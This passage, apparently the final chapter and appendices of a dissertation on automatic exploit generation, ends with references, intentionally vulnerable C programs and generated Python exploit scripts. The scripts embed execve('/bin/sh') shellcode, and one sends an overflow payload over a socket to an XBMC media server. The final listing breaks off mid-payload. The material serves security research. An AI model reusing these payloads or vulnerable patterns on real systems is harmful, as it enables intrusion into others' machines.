techniques employed by exploit writers to evade the restriction. Building these evasion techniques into an AEG system will primarily involve encoding the techniques employed by an exploit writer into an input template that specifies requirements that must be met for the technique to succeed. Detecting whether these requirements can be met or not, and shaping the input to meet them, is then a problem for the AEG tool. We have shown this to be an automatable process for ASLR but further research projects will have to extend this to the other protection mechanisms discussed in Chapter 2.

AssistedExploitGeneration

To build a completely automated and general tool for exploit generation is not, in our opinion, a realistic goal. There are simply far too many quirks in individual applications and operating systems to account for all cases. That is not to say that we should not research ways to improve on the current state of the art. There are many tasks that are common to almost all exploits that make research into the field both necessary and valuable. In terms of tool development though a system that is a hybrid of automated analysis techniques with human intuition and judgement would seem to be an attractive option. Many tasks that are difficult to automate reliably are relatively simple for a human to perform.

For example, certain hashing algorithm implementations include a number of non-linear operations and many different loop-dependent paths. Given a required output from such an algorithm a SMT-based solution may take an excessive time to discover all paths and then solve the resulting formula. A human may be able to quickly identify the type of hashing algorithm and determine if the required output is in fact possible. If it is, there may be faster ways to discover the required input that can be then provided to the automatic analysis system instead of waiting for it to finish generating/solving formulae.

Another case are write-n-bytes vulnerabilities where the destination address is constrained. In this situation if our tool can present the user with the range of usable addresses they may be able to quickly decide if the vulnerability is exploitable or not depending on the data that falls within this range. Attempting to automate this decision would require specific case handling for different operating systems, compilers and software protection mechanisms.

Certain classes of exploits, such as those that leverage application specific design flaws, do not follow a specific template. These exploits operate by manipulating the application into

an unsafe stage. Obviously this state can be highly application specific and have no real meaning in the context of the security of other

unrelated applications. Taint analysis and data-flow information is incredibly useful in such situations but as an assistance to a human who understands the applications architecture and the security guarantees it should enforce. In our opinion it may be a useful research direction to investigate abstraction and modeling techniques that could help in gaining an understanding of an application. Such research will feed into automatic exploit generation but could also provide useful algorithms and tools in its own right.

Conclusion

In this dissertation we have discussed the problems encountered during the AEG process and presented novel algorithms to solve many of them. The implementation of this system is the first tool to use methods derived from software verification and program analysis for exploit generation and we have demonstrated it to be a feasible approach to the problem. In this final Chapter we have outlined a number of areas we believe to be important for the development of AEG theory and techniques. We hope that these areas and others will receive sufficient attention over the coming months and years and result in techniques that are applicable to real-world applications on modern operating systems.

References

[1] Lurene Grenier and lin0xx. Byakugan: Increase Your Sight. Toorcon, 2007.

[2] Sumit Gulwani, Saurabh Srivastava, and Ramarathnam Venkatesan. Program Analysis As Constraint Solving. SIGPLAN Not., 43(6):281–292, 2008.

[3] Ben Hawkes. Attacking the Vista Heap. Ruxcon 2008, 2008.

[4] Susmit Kumar Jha, Rhishikesh Shrikant Limaye, and Sanjit A. Seshia. Beaver: Engineering an Efficient SMT Solver for Bit-Vector Arithmetic. Technical Report UCB/EECS-2009-95, EECS Department, University of California, Berkeley, Jun 2009.

[5] Izik Kotler. Smack The Stack. http://tty64.org/doc/smackthestack.txt, 2005

[6] Daniel Kroening and Natasha Sharygina. Approximating Predicate Images for Bit-Vector Logic. In Proceedings of TACAS 2006, volume 3920 of Lecture Notes in Computer Science, pages 242–256. Springer Verlag, 2006.

[7] Daniel Kroening and Ofer Strichman. Decision Procedures – An Algorithmic Point of View. EATCS. Springer, 2008.

[8] Zhiqiang Lin, Xiangyu Zhang, and Dongyan Xu. Convicting Exploitable Software Vulnerabilities: An Efficient Input Provenance Based Approach. In Proceedings of the 38th Annual IEEE/IFIP International Conference on Dependable Systems and Networks (DSN-DCCS 2008), Anchorage, Alaska, USA, June 2008.

[9] Chi-Keung Luk, Robert Cohn, Robert Muth, Harish Patil, Artur Klauser, Geoff Lowney, Steven Wallace, Vijay Janapa Reddi, and Kim Hazelwood. Pin: Building Customized Program Analysis Tools with Dynamic Instrumentation. In PLDI '05: Proceedings of the 2005 ACM SIGPLAN conference on Programming language design and implementation, pages 190–200. ACM, 2005.

[10] Jason Medeiros. Automated Exploit Development, The Future of Exploitation is Here. Technical report, Grayscale Research, 2007.

[11] David Molnar, DavidA.and Wagner. Catchconv: Symbolic Execution and Run-Time Type Inference for Integer Conversion Errors. Technical Report UCB/EECS-2007-23, EECS Department, University of California, Berkeley, 2007.

[12] HD Moore. Metasploit 3: Exploit Intelligence and Automation. Microsoft Blue Hat 3, 2006.

[13] Tilo Muller. ASLR Smack & Laugh Reference. Seminar on Advanced Exploitation Techniques, February 2008.

[14] Nicholas Nethercote and Julian Seward. Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation. SIGPLAN Not., 42(6):89–100, June 2007.

[15] James Newsome, David Brumley, and Dawn Song. Vulnerability-Specific Execution Filtering for Exploit Prevention on Commodity Software. In In Proceedings of the 13 th Symposium on Network and Distributed System Security (NDSS, 2005.

[16] James Newsome and Dawn Song. Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software. In Proceedings of the Network and Distributed System Security Symposium (NDSS 2005), 2005.

[17] Phantasmal Phantasmagoria. The Malloc Maleficarum, Glibc Malloc Exploitation Techniques, October 2005. http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt.

[18] Silvio Ranise and Cesare Tinelli. The SMT-LIB Format: An Initial Proposal. In In PDPAR, pages 94–111, 2003.

[19] Juan Rivas. Overwriting the.dtors Section. Technical report, Synnergy, 2000.

[20] Prateek Saxena, Pongsin Poosankam, Stephen McCamant, and Dawn Song. Loop-Extended Symbolic Execution on Binary Programs. Technical Report UCB/EECS-2009-34, EECS Department, University of California, Berkeley, Mar 2009.

[21] Hovav Shacham, Matthew Page, Ben Pfaff, Eu J. Goh, Nagendra Modadugu, and Dan Boneh. On the Effectiveness of Address-Space Randomization. In CCS '04: Proceedings of the 11th ACM conference on Computer and communications security, pages 298–307, New York, NY, USA, 2004. ACM.

[22] Skape and Skywing. Bypassing Windows Hardware-enforced Data Execution Protection. Uninformed, 4, October 2005. http://uninformed.org/?v=2&a=4.

[23] Dawn Song, David Brumley, Heng Yin, Juan Caballero, Ivan Jager, Min Gyung Kang, Zhenkai Liang, James Newsome, Pongsin Poosankam, and Prateek Saxena. Bitblaze: A New Approach To Computer Security via Binary Analysis. In ICISS '08: Proceedings of the 4th International Conference on Information Systems Security, pages 1–25, Berlin, Heidelberg, 2008. Springer-Verlag.

[24] Alexander Sotirov. Heap Feng Shui in Javascript. Blackhat Europe, April 2007.

[25] PaX Team. Address Space Layout Randomization, March 2003. http://pax.grsecurity.net/docs/aslr.txt.

[26] PaX Team. Non-Executable Pages Design & Implementation, May 2003. http://pax.grsecurity.net/docs/noexec.txt.

[27] Perry Wagle and Crispin Cowan. Stackguard: Simple Stack Smash Protection for GCC. In Proceedings of the GCC Developers Summit, pages 243–256, Ottawa, Ontario, Canada, May 2003.

Appendices

AppendixA

SampleVulnerabilities

Vulnerability1

ListingA.1:"Astrcpyvulnerability"

```
1 #include<stdlib.h>
2 #include<string.h>
3 #include<fcntl.h>
4 #include<unistd.h>
```

```
5
6  voidfunc(char*userInput)
7  {
8          chararr[64];
9
10         strcpy(arr,userInput);
11 }
12
13 intmain(intargc,char*argv[])
14 {
15         intres,fd=-1;
16         char*heapArr=NULL;
17         fd=open(argv[1],O_RDONLY);
18
19         heapArr=malloc(128*sizeof(char));
20         res=read(fd,heapArr,128);
21         func(heapArr);
22
23         return0;
24 }
```

A 2 XBMC Vulnerability

Listing A.2: "XBMC vulnerable function"

```
1 int dll_open(const char* szFileName, int iMode)
2 {
3 char str[XBMC_MAX_PATH];
4
5 // move to CFile classes
6 if (strncmp(szFileName, "\\Device\\Cdrom0", 14) == 0)
7 {
8 // replace "\\Device\\Cdrom0" with "D:"
9 strcpy(str, "D:");
10 strcat(str, szFileName + 14);
11      }
12 else strcpy(str, szFileName);
```

```
13
14 CFile* pFile = new CFile();
15 bool bWrite = false;
16 if ((iMode & O_RDWR) || (iMode & O_WRONLY))
17 bWrite = true;
18 bool bOverwrite=false;
19 if ((iMode & _O_TRUNC) || (iMode & O_CREAT))
20 bOverwrite = true;
21 // currently always overwrites
22 bool bResult;
23
24 // We need to validate the path here as some calls from ie. libdvdnav
25 // or the python DLLs have malformed slashes on Win32 & Xbox
26 // (-> E:\test\VIDEO_TS/VIDEO_TS.BUP))
27 if (bWrite)
28 bResult = pFile->OpenForWrite(CURL::ValidatePath(str),
bOverwrite);
29 else
30 bResult = pFile->Open(CURL::ValidatePath(str));
31
32 if (bResult)
33 {
34 EmuFileObject* object =
g_emuFileWrapper.RegisterFileObject(pFile);
35 if (object == NULL)
36 {
37 VERIFY(0);
38 pFile->Close();
39 delete pFile;
40 return -1;
41 }
42 return g_emuFileWrapper.GetDescriptorByStream(&object-
>file_emu);
43 }
44 delete pFile;
```

```
45 return -1;
46   }
```

A 3 - FunctionPointerVulnerability(NoArithmeticModificationofInput)

ListingA.3:"Afunctionpointeroverflow"

```
1   #include <stdio.h>
2   #include <fcntl.h>
3   #include <stdlib.h>
4   #include <string.h>
5   #include <unistd.h>
6
7   void exit_func(int a)
8   {
9         printf("Shellcode was not executed\n");
10        exit(a);
11  }
12
13   void func_ptr_smash(char *input)
14  {
15        int i = 0;
16        void (*func_ptr)(int) = exit_func;
17        char buffer[248];
18
19        strcpy(buffer, input);
20
21        printf ("Exiting with code %d\n", i);
22        (*func_ptr) (i);
23  }
24
25   int main(int argc, char *argv[])
26  {
27        int res, z, fd = -1;
28        char *heapArr = NULL;
29        fd = open(argv[1], O_RDONLY);
```

```
30
31          heapArr = malloc(256*sizeof(char) + 1);
32          printf("Reading 256 bytes into %p\n", heapArr);
33          res = read(fd, heapArr, 256);
34
35          if (res != 256) {
36          printf("Read %d bytes, wtf\n", res);
37          return -1;
38          } else {
39          printf("Read %d bytes\n", res);
40          }
41
42          heapArr[256] = '\x0';
43          func_ptr_smash(heapArr);
44          return 0;
45  }
```

A4 - FunctionPointerVulnerability(ArithmeticModificationofInput)

ListingA.4:"Afunctionpointeroverflowwithlineararithmetic"

```
1   #include <stdio.h>
2   #include <fcntl.h>
3   #include <stdlib.h>
4   #include <string.h>
5   #include <unistd.h>
6
7   void exit_func(int a)
8   {
9           printf("Shellcode was not executed\n");
10          exit(a);
11    }
12
13     void func_ptr_smash(char *input)
14    {
15          int i = 0;
16          void (*func_ptr)(int) = exit_func;
17          char buffer[248];
```

```
18
19          strcpy(buffer, input);
20
21          printf ("Exiting with code %d\n", i);
22          (*func_ptr) (i);
23    }
24
25     int main(int argc, char *argv[])
26    {
27          int res, z, fd = -1;
28          char *heapArr = NULL;
29          fd = open(argv[1], O_RDONLY);
30
31          heapArr = malloc(256*sizeof(char) + 1);
32          printf("Reading 256 bytes into %p\n", heapArr);
33          res = read(fd, heapArr, 256);
34
35          if (res != 256) {
36          printf("Read %d bytes, wtf\n", res);
37          return -1;
38          } else {
39          printf("Read %d bytes\n", res);
40          }
41
42          for (z = 0; z < 248; z++)
43          heapArr[z] = (char)heapArr[z] + 4;
44
45          heapArr[256] = '\x0';
46          func_ptr_smash(heapArr);
47          return 0;
        48          }
```

A 5 - Corrupted Write Vulnerability

ListingA.5:"Awrite-basedvulnerability"

```
1   #include<stdlib.h>
```

```
2  #include<string.h>
3  #include<fcntl.h>
4  #include<unistd.h>
5
6  voidfunc(int*userInput)
7  {
8          int*ptr;
9          intarr[32];
10         inti;
11
12         ptr=&arr[31];
13
14         for(i=0;i<=32;i++)
15             arr[i]=userInput[i];
16
17         *ptr=arr[0];
18 }
19
20 intmain(intargc,char*argv[])
21 {
22         intres,fd=-1;
23         int*heapArr=NULL;
24         fd=open(argv[1],O_RDONLY);
25
26         heapArr=malloc(64*sizeof(int));
27         res=read(fd,heapArr,64*sizeof(int));
28         func(heapArr);
29
30         return0;
31 }
```

AppendixB

SampleExploits

B1 - Stackoverflow(strcpy)Exploit

ListingB.1:"Astackoverflowexploit"

```
1  importsys
2
3  exploit='\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d
4  \x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f
5  \x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
6  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x33\x85\x04\x08\x41\x41
7  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
8  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
9  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
10
11   ex=open(sys.argv[1],'w')
12  ex.write(exploit)
13  ex.close()
```

B2 - XBMCExploit

ListingB.2:"AnexploitforXBMC"

```
1  importsys
2  fromsocketimport*
3
4  exploit='\x47\x45\x54\x20\x2f\x78\x62\x6d\x63\x43\x6d\x64\x73\x2f\x78\x62\x6d
5
\x63\x48\x74\x74\x70\x3f\x63\x6f\x6d\x6d\x61\x6e\x64\x3d\x47\x65\x74\x54\x61\x67
6  \x46\x72\x6f\x6d\x46\x69\x6c\x65\x6e\x61\x6d\x65\x28\x43\x3a\x2f\x41\x41\x41\x41
7
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
8
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
9
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
10
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
11
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
12
```

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
13
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
14
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
15
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
16
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
17
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
18
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
19
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
20
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
21
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
22
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
23
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
24
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
25
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
26
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
27
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
28
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
29
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

30
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
31
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
32
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
33
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
34
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
35
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
36
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
37
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
38
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
39
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
40
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
41
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
42
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
43
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
44
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
45
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
46
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
47

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
48
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
49
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
50
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
51
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
52
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
53
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
54
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
55
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
56
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
57
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
58
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
59
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x13\xe9\xb4\x08\xeb\x18\x5e
60
\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0
61 \x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41
62
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
63
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
64
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
65

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
66
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
67
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
68
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
69
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
70
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
71
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
72
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
73
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
74
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
75
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
76
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
77
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
78
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
79
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
80
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
81
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
82
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

83
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
84
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
85
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
86
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
87
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
88
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
89
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
90
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
91
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
92
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
93
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
94
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
95
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
96
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
97
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
98
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
99
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
100

```
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
101
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
102
\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e
103    \x6d\x70\x33\x29\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x0d\x0a'
104
105     s = socket(AF_INET, SOCK_STREAM)
106     s.connect((sys.argv[1], int(sys.argv[2])))
107
108    s.send(exploit)
109
110    s.close()
```

B3 - FunctionPointerExploit(NoArithmeticModificationofIn-put)

ListingB.3:"Afunctionpointeroverflowexploit"

```
1    import sys
2
3    exploit = '\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d
4    \x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f
5    \x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
6    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
7    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
8    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
9    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
10    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
11    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
12    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
13    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
14    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
15    \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
16    \x41\x41\x41\x41\x41\x41\x41\x08\xa0\x04\x08'
17
18     ex = open(sys.argv[1], 'w')
19    ex.write(exploit)
20    ex.close()
```

B4 - FunctionPointerExploit(ArithmeticModificationofInput)

ListingB.4:"Afunctionpointeroverflowexploitwithlineararithmetic"

```
1  import sys
2
3  exploit = '\xe7\x14\x5a\x85\x72\x04\x2d\xbc\x84\x42\x03\x85\x42\x08\x85\xef\x89
4  \x4a\x04\x89\x52\x08\xac\x07\xc9\x7c\xe4\xdf\xfb\xfb\xfb\x2b\x5e\x65\x6a\x2b
5  \x6f\x64\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
6  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
7  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
8  \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41
